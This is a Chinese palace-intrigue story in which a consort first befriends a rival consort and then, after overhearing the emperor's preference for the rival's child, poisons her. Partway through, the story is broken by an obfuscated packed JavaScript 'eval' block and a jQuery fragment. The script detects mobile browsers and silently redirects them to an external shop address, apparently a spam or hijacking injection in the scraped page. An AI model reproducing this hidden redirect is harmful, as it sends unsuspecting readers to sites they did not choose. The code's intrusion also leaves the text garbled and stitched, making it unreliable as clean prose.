永安二年暮春，苏珺入宫那日，我正在廊下逗弄新得的画眉鸟。
希儿从外间提着裙摆快步跑来，额上沁着细汗。我正将一粒青豆送到鸟喙边，闻言指尖一顿，那鸟便啄了我一下。我不由得痛嘶了一声，甩甩手，笑着骂它一句，回头问：“什么样的美人？”
希儿是我自幼陪长大的贴身宫女，又随我一道入宫，我们二人说话向来不藏着掖着。
她凑近些，眼睛亮晶晶的：“回娘娘，奴婢远远瞧了一眼，穿月白裙子，手里拈着枝白牡丹，像画上走下来的。”
我登时来了兴致，将豆子往希儿手里一塞便要往淑和殿方向去。可刚站起身便被裙摆绊了个趔趄，今日穿的是一件新制的缠枝莲纹织金宫装，裙幅阔大，层层叠叠堆在足踝处，走动时需人从旁提着，哪里由得我风风火火地跑。
希儿忙伸手扶稳我：“小姐现下身居妃位了，可要慢些，奴婢替您理好裙幅再走。”
我低头看那繁复的金线纹样，没好气地踢了一脚裙边，到底是耐着性子站定了，由希儿蹲下身替我一层一层拢好。
待收拾妥当快步穿过穿花游廊时，心里还惦记着希儿方才说的那像画上走下来的人。我倒要瞧瞧，是什么样的美人能如此。
其实没走出几步，便瞧见了要见的人。
她立在花畦边，素白的裙裾被风撩起一角，翻出一截藕荷色的鞋尖。指尖一朵白牡丹开得硕大沉静，衬得她整个人如同一抹淡墨写就的闲笔，落在满园姹紫嫣红里头，偏偏最扎眼。
她正微微侧着头看花，日光落在她眼睫上，颤出细碎的金，又顺着鼻梁滑下来，当真如同画中仙。
我不知怎么就屏住了气，步子也倏地放轻了，拉着希儿闪到廊后，探头探脑地看了许久。
希儿在身后憋着笑，我回头瞪她一眼，耳根却悄悄烫了。
那是我头一回见苏珺。
后来她倚在美人榻上，一边拨弄琴弦一边问我，那日怎么躲着看半天也不出来。我正赖在她宫内软榻上剥橘子，果皮扔了一案，理直气壮地回她：“怕唐突了姐姐呀。”
她拿琴谱轻轻拍我脑袋，笑骂了句“油嘴滑舌”。
入宫半载，宫墙内外的门道我早已摸了个七七八八。哪处角门能抄近路，哪位管事太监好说话，逢年过节各宫走动该备什么礼，心里都有一本细账。
我父官居户部侍郎，兄在禁军领着职，算不得什么了不得的世家门第，但新帝登基不久，旧族根系太深，宫里需添些根基清白的新面孔来镇场面——我便这般被挑中了。
入宫那年我刚满十六，一颗心鲜活得像刚从枝头摘下的杏子，头一回踏进含象殿时，满眼的金漆玉砌映得人眼花，可我悄悄跟希儿说，再怎么富丽堂皇，也比不过我家后院那架紫藤。
春天一到，紫藤垂下，我常搬个小凳坐在底下嗑瓜子，花瓣落在肩上也懒得拍。
李诚待我还算温和。隔三差五来含香殿坐，饮一盏茶，或是说几句闲话。他夸我性子爽利，像院子里蹦跳的麻雀。
我当时听了只觉欢喜，觉得这皇帝并不像话本子里写的那么威严吓人。
可我那时不懂。为何他说这话时眼里虽带着笑，可那笑如风掠过水面，刹那间就没了痕迹。
直到苏珺来了。
淑和殿与我的含象殿只隔一道穿花游廊，抬脚便到。
起初不过是寻常走动，她刚入宫，殿里的陈设还没归置齐整，我便携了糕点去串门，随口说几句宫里的人情往来，她总是温温柔柔的，替我斟茶时手腕一旋，茶汤在盏里打着圈儿落下，像她的人，处处妥帖。
她懂琴。
有一回我在她殿里练字，许是心里燥，写的字个个歪头扭脑，撇不像撇捺不像捺。
她坐在一旁看了半晌，也不笑，只轻轻捏住我握笔的手，指尖覆在我的手背上，发间一缕白兰香缓缓拢过来。我忽然就愣住了，眼眶里有什么东西在往上涌。
我在家里是幺女，上头三个哥哥，打小在男孩子堆里长大，从来没有人这样软声细语地教过我什么。
握笔也好，斟茶也罢，好像我这个人，是值得被耐心对待的。
“姐姐，”我把脸埋在她膝上，仰起头看她的时候泪珠子已经滚下来了，“你要是我亲姐姐就好了。”
她拿指腹替我揩了泪，又轻轻梳了梳我的头发：“我们如今不正是吗？”
就那一句，我便当真把她当了姐姐。
她抚琴我趴在案边听，她作画我一旁研墨，闲来一道煮茶拌嘴，窝在榻上合看一本坊间新出的话本子，看到潦倒处一道抹眼泪，看到欢喜处一道拍案叫好。
淑和殿后窗那丛垂丝海棠，还是我央了内务府才移来的，只因嫌她殿前太素了，满眼青绿，连一星粉都没有。
海棠移来的那天我亲自守在旁边看着栽，她由着我折腾，只在我踮着脚往檐下挂灯笼时，伸手在我腰后虚虚托了一把，轻声说了句：“慢些，别摔了。”
那海棠后来每年春天都开得极好，粉白的花瓣垂下来，风一过便落她满肩。
我那时觉得，这样的日子能过一辈子。
诊出有孕那日，我连步辇都等不及坐，提着裙摆一路小跑往淑和殿去，把希儿跟在身后的声儿甩出去老远。
苏珺正临窗抄经。
窗子半开着，外头那丛垂丝海棠的枝影落在她的纸面上，摇摇晃晃的。
我人还没跨进门槛嗓子就先到了：“姐姐！我要当娘了！”
尖猛地一顿，一滴墨沉甸甸地坠下来，洇开了半行工整的小楷。
我三步并作两步蹿到她跟前，攥着她的袖口直晃，晃得她腕上的翡翠镯子叮当碰在案角上。
她仰起脸来看我，笑意从眼底一点点漫上来，她搁了笔，伸手替我拢了拢跑散了的鬓发，指尖触到我耳畔时微微发颤。
“真好，真好。”她连说了两遍，
不多久她也有了身孕。
我只觉得这世上再没有比这更好的事情了，以后我们可以一起养育两个孩儿。
我问她想要皇子还是公主，她低头抚着小腹，日光从窗棂间漏进来铺了她一身，连发丝都泛着柔柔的暖色。
她说都好，是男是女都是缘分，只要能平安落草便够了。
我搂着她的胳膊，把脑袋歪在她肩上，说那咱们一道生一道养，若是凑巧生了个龙凤胎出来，便指个娃娃亲，往后两家的孩子一道吃一道睡一道长大。
她笑着啐我胡闹，作势要打我，掌心却轻轻覆在我手背上，。
变故是从我家里人进宫那日起的。
母亲和嫂嫂来看我，带了我爱吃的腌梅子，还有一包袱我从前在家爱吃的酥糖。
我一面剥着橘子一面跟她们说宫里的事，说苏珺怎么教我写字，说她弹的琴多好听，说淑和殿后窗那丛海棠今年又发了好多新枝。
嫂嫂起初还顺着我的话说笑，可说着说着，她便把声音压了下去：“娘娘如今怀着的是陛下登基后的第一个孩子，这宫里上下都盯着您的肚子呢……可不止您一个人怀着龙胎。”
橘皮断成半截落在案上，我问道：“嫂嫂是说苏姐姐？她那性子淡得跟清水似的，从来不争不抢，我们好着呢。”
话音还没落，母亲忽然攥了我的手腕，五指收紧，那力道硬得我皱了眉。
她盯着我的眼睛：“娘娘，这宫里头，好这个字，得是活着才算数的。”
她们走后我怔了许久，手里的橘子攥出了汁，黏糊糊地顺着指缝淌下来。
希儿端着新煮的安胎茶进来，觑着我的脸色犹豫半晌，到底还是开了口：“娘娘，奴婢斗胆，淑妃娘娘如今盛宠，若她这一胎先诞下皇子……”
我把茶盏搁了，截住她的话头，说出去吧，我想歇歇。
可哪里歇得住。
我翻来覆去地想苏珺教我写字，想她替我拢鬓角时微颤的指尖。
窗垂丝海棠被晚风拨得簌簌地响，粉白的花瓣一片一片旋着落下来，铺了满地。
我侧过身，把脸埋进枕头里，只觉得喉咙里堵了什么东西，咽不下去。
我夜里原就睡得不踏实，翻来覆去煎了半晌，索性披了件外衫起身，想着去淑和殿寻她说说话。
往日心里不痛快时，她总是会替我斟一盏温茶，什么也不问，就静静陪着我坐到困意上来。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17785847|204176||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
我沿着穿花游廊慢慢走过去，夜里的海棠香比白日里淡些，丝丝缕缕地浮在凉风里。
还没走到殿门口，便听见里头有人声。
我以为她也没睡着，正想扬声唤她，话到嘴边却忽然顿住了，另一个声音，是李诚的。
隔着窗纸，他的声音听不真切，但语气里那种郑重的温存，我从未听他对自己用过：“朕说过了，你这一胎朕格外看重。”
苏珺的声音随后响起，还是那样静静的，：“陛下已有长子了，贤妃妹妹身子又素来康健，臣妾这孩子，不必过于特殊。”
我靠在廊柱上，指尖扣进木纹里，等着李诚的回答。
夜风掀动檐角的风铃，叮当一声脆响。然后李诚开口了，仿佛生怕说得太重吓着她，又怕说得太轻她听不见：“哪怕她生了，朕也更喜欢你的孩子。朕头一回在御园见你……你握着那枝白牡丹站在风里的样子，朕记到现在。一刻都没忘过。”
夜风灌进衣领，顺着脊背一路窜下去，我竟不觉得冷。
我慢慢低下头，看见自己微微隆起的小腹，薄薄一层宫装底下，那里头有小小的、温热的生命，正安安静静地蜷着。
我把手掌覆上去，隔着衣料，连自己的心跳都摸不分明。掌心里那点温热忽然变得轻飘飘的，像柳絮一样浮着，然后我听见自己吸气的声音，泪落下来的时候是热的，砸在手背上又凉了，让人发颤。
那晚我悄无声息走回含象殿，经过那丛垂丝海棠，月光底下花枝上还凝着夜露，我伸手折了一枝，把断口处渗出的汁液抹在指尖上，带着青涩的草木气。
回殿之后，我把那枝海棠插在案上的白瓷瓶里，就着烛火看了很久。
花瓣粉白，边缘微微卷起来，我就那么坐着看它，看到烛泪淌满了烛台，看到窗外天色从墨蓝一点一点褪成蟹壳青。
那枝海棠后来到底没能开几天。
第二天晌午我去看时，花瓣已经蔫了，软趴趴地垂在瓶口。
我把希儿叫到跟前，嗓子干得发涩：“去叫我母亲进宫，就说我想吃她做的腌梅子了。”
希儿愣了一下，欲言又止地看了我一眼，终究没多问，福了福身便退出去了。
母亲午后便到了，手里提着一只青瓷小坛，腌梅子的酸甜气隔着坛盖都闻得见。
她遣退了左右，连希儿都让她打发出去了，殿里只剩我们母女二人相对而坐。
母亲没急着开口，先替我斟了一盏温茶推过来，然后从袖中缓缓摸出一只巴掌大的纸包搁在案上，往我面前推了推。
“娘娘，想通了吗？”
我看着那只纸包，看了很久，然后我感觉到自己点了点头。
母亲没有多说什么，只把纸包又往我手边推了半寸，便起身告退了。
第二日我去淑和殿，带了一碟新蒸的槐花糕。
槐花是前日御膳房送来的，说是南边新贡的，我闻着那股清甜气，忽然想起苏珺怀胎初期馋槐花糕时，李诚五更天亲自出宫，去城郊山村摘带露槐花的旧事。
我把碟子端在手上，槐花糕还冒着热气，一朵一朵叠得齐整，上头缀着琥珀色的蜜渍桂花。
苏珺倚在榻上，她原本就清减，如今脸盘子更是窄了一圈，颧骨微微支出来，衬得那双眼睛越发大了。可看见我进来，她还是扬起唇笑，伸手招我过去坐。
我挨着榻边坐下，低头捻了一只槐花糕递到她唇边：“姐姐，快尝尝看。”
她张嘴咬住，慢慢地嚼。
隔日我再送去的，亦是掺了东西的参汤。
我眼看着她的面色从莹白变成灰白，看着她的眼窝一日日凹下去，看着李诚焦灼地守在淑和殿外，太医院的方子换了又换，诊脉的结论永远是气虚郁结。
有时我坐在自己殿里，都能听见游廊那头隐隐的呛咳声。
案上的垂丝海棠早已谢尽了，枯枝伶仃地插在瓶口。我伸手把枯枝拔出来，指尖稍稍用力，便断成两截。
这宫里的春天来年还会开花的。
我吩咐希儿把枯枝丢进炭盆里，看着火舌将塔吞没。
窗外，今年的最后一朵垂丝海棠，被风吹落了。